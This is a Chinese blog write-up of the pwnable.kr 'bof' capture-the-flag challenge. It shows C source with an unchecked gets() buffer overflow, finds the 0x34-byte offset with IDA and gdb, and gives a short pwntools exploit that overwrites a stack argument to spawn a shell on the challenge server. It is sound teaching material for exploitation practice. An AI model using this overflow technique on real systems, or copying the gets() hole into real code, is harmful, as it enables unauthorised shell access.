pwnable 笔记 Toddler's Bottle - bof

该题是一道考察缓冲区溢出的题 比较简单

这里写图片描述

先看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

可以看出

func()中有一个长度为32的字符串数组overflow
在调用gets()时由于没有检查字符串长度,导致缓冲区溢出,超过32字节的数据将覆盖内存中的其他数据。
随后比较key和0xcafebabe

main中调用func时参数key指定为0xdeadbeef,在进入func后会落入else分支。

0x01 直接拖进IDA F5反编译func函数

这里写图片描述

可以看到key的位置在ebp+8h

而局部变量overflowme 对应s 首地址在ebp-2ch处。

因此,二者的距离为0x34.

推荐一下win10自带的计算器,对我这个菜鸟还是很好用的zzz


gets()函数并没有对输入的长度进行限制,因此我们可以溢出overflowme数组来改写参数key

改写的值为0xCAFEBABE

EXP:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
#p = process("./bof")
p = remote("pwnable.kr",9000)
sys_addr = 0xcafebabe
#p.recvuntil("overflow me :")
payload = "a"*0x34 + p32(sys_addr)
p.send(payload)
p.interactive()

这里要注意一下内存中的小端存储,可以使用pwn库中的p32()函数

0x02 用gdb分析

首先需要知道变量overflow和key存储在内存的什么位置,确定缓存区溢出发生的位置。

1
$ gdb ./bof

现在进入到了gdb的环境中,在main()处下一个断点

1
gdb-peda$ b main

然后运行程序

1
gdb-peda$ r

这里写图片描述

现在程序停在了刚才下的断点处

单步调试(ni)至call <funC>后进入函数(si),一直跟到call <get>

这里写图片描述

查看一下栈中的情况

1
gdb-peda$ x /40xw $esp

这里写图片描述

esp中存储的是overflow开始的位置

overflow 开始的位置是0xffffcedc

而key的位置是 0xdeadbeef

0xffffcf10 - 0xffffcedc = 52

其他如上

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 先看一下源码
  2. 2. 0x01 直接拖进IDA F5反编译func函数
  3. 3. 0x02 用gdb分析
,